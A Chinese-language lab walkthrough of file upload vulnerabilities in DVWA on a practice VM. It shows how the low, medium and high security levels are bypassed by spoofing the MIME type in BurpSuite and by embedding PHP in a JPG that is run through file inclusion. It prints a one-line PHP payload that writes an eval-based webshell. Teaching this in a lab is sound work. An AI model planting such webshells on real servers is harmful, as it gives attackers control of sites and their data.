本文所有渗透都是在靶机上进行的,仅供学习网络安全使用,请勿在未经允许的情况下攻击其他网站。

详细法律法规请见《中华人民共和国网络安全法》
http://www.cac.gov.cn/2016-11/07/c_1119867116.htm

在 Web 中上传东西是合理的,如果没有做合理的过滤或检测而导致用户绕过了我们的 Web 应用上传了一些程序文件,这个就是漏洞。

image.png

文件上传漏洞原理


  • 文件上传(File Upload)是大部分 Web 应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
  • 正常的文件一般是文档、图片、视频等,Web 应用收集之后放入后台存储,需要的时候再调用出来返回
  • 如果恶意文件如 PHP、ASP 等执行文件绕过 Web 应用,并顺利执行,则相当于黑客直接拿到了 WebShell
  • 一旦黑客拿到了 Websheel,则可以拿到 Web 的应用的数据,删除 Web 文件,本地提权,进一步拿下整个服务器甚至内网
  • SQL 注入攻击的对象是数据库服务,文件上传漏洞主要攻击 Web 服务,实际渗透两种相结合,达到对目标的深度控制

实验准备


  • 目标靶机:OWASP_Broken_Web_Apps_VM_1.2
  • 测试渗透机:kali-linux-2021.1-vmware-amd-64

首先你要获取自己靶机的 ip 地址,然后登录。在这里我用 Xshell 操作,和在靶机中操作是一样的。kali 中自带Firefox 浏览器,但如果你想在物理机上操作,需要另外对 BurpSuite 进行配置。

image.png
image.png

然后选择 Dann Vulnerable Web Application(该死的脆弱的Web应用程序)。

低安全级别的文件上传漏洞


目标靶机 OWASP 提供了三种安全模式。
image.png
我们先用 low 进行尝试,选择 Upload。

随便选择一个图片文件,上传,显示成功。
image.png
但上传一个 php 文件也能成功上传。
image.png
让我们来看看它提供的源码,点击页面右下角的 View Sourse,就会发现这段代码除了设置了路径啥也没做。
image.png

中安全级别的文件上传漏洞

现在切换到中级,再次尝试上传 .php 文件,发现已经上传不了了。

image.png
再次看看中安全级别的源码,可以发现代码中进行了 MIME 类型判断,不是规定的类型和大小就无法上传。
image.png
那我们把类型改成 “image/jpeg” 不就行了?这时我们就要用到 kali 里面的 BurpSuite。

原理就是 .php 的 content-type 是 application/octet-stream,直接上传肯定是不行的。我们可以使用一个代理/拦截工具,先把它拦截下来,然后对它的 content-type 改成 “image/jpeg” 然后再发送给 DVWA 就可以成功上传了。注意:这里需要使浏览器处于代理模式,IP 地址应该和靶机的 IP 地址一样;并打开 BurpSuite 的代理。

再次上传
image.png
在 kali 中看结果
image.png
image.png
上传成功
image.png

高安全级别的文件上传漏洞


可以提前给大家剧透一下,解决中级别的方法放到高级别完全没用,所以我们这次先来看看高安全级别下的源码。
image.png
这一次它对文件的后缀进行了限制。这意味着我们修改类型完全没用了。因为上传的文件的后缀还是 .php。那你可能会想到,我如果用 BurpSuite 拦截的时候,把文件后缀改成 shell2.php.jpg 不就行了?再预告一下,这种方式只能成功一部分,因为这种方式虽然也能用菜刀或蚁剑获取 URL,但这种获取是只读的,不能做相应的增删改查。

所以我们需要用到文件包含木马的渗透方式,我们上传的还是一张图片,不过这一次我们需要将我们的代码嵌入图片里面,这一次我们要用到的工具是 edjpgcom 。把下列代码传入一个 jpg 文件中。

  1. <?fputs(fopen("shell20.php","w"),'<?php eval($_POST[lion]);?>')?> //POST里面的值是一个密码,可以自己修改

image.png
然后上传这张图片,显示的肯定是上传成功,因为我们本来上传的就是一张图片。

image.png

值得注意的是,单纯的上传这个图片是没用用的,是不能形成木马的,我们必修执行这段代码才可以。
在 File Inclusion 中进行操作
image.png

结果是这样就代表执行成功了。
image.png
在 Xshell 中检查一下有没有这个文件
image.png
shell200.php在这时才真正的存在,接着我们可以用菜刀或者蚁剑进行操作,这里我使用蚁剑
image.png
这时候我们就可以对这个网站进行各种操作了,比如文件管理,可以进行增删改查,其他功能可以自行摸索。
image.png

总结

以DVWA提供的网站为例

初安全级别的代码

  • 代码特点:啥也没有
  • 渗透方法:可以直接上传木马文件

    中安全级别的级代码

  • 代码特点:会判断文件MIME类型(content-type)和文件大小

  • 渗透方法:通过代理/拦截的办法先把木马文件修改为允许上传的类型,然后再forward给DVWA

    高安全级别的代码

  • 代码特点:会判断文件后缀和文件大小

  • 渗透方法:采用文件包含的形式,把木马文件嵌入到允许上传类型的文件中,然后再执行生成代码生成木马文件。